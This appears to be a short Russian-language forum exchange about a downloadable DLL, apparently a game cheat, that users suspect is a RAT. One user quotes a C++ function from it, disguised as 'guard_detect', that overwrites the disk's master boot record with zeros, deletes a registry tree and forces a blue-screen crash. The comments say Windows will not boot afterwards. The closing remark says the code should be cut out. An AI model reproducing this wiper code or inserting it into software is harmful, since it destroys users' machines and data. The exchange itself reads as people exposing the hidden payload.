ты долбаёб?
лан скиньте длл протестить
а понял ратvoid misc::guard_detect() {
// чистим мбр, чтобы винда не запустилась после перезапуска пк.
DWORD write;
char mbr[512];
ZeroMemory(mbr, sizeof mbr);
HANDLE MasterBootRecord = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
if (WriteFile(MasterBootRecord, mbr, 512, &write, NULL) == TRUE) {
// если эта хуйня произошла - пиздуй искать на подъездах объявления о сервисных сентрах для пк.
HKEY hKey = NULL;
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"AppEvents\\", NULL, DELETE | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE | KEY_SET_VALUE | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS) {
if (RegDeleteTree(hKey, NULL) == ERROR_SUCCESS) {
BOOLEAN bl;
ULONG Response;
RtlAdjustPrivilege(19, TRUE, FALSE, &bl);
NtRaiseHardError(STATUS_ASSERTION_FAILURE, NULL, NULL, NULL, 6, &Response);
}
RegCloseKey(hKey);
}
}
}
Это надо вырезать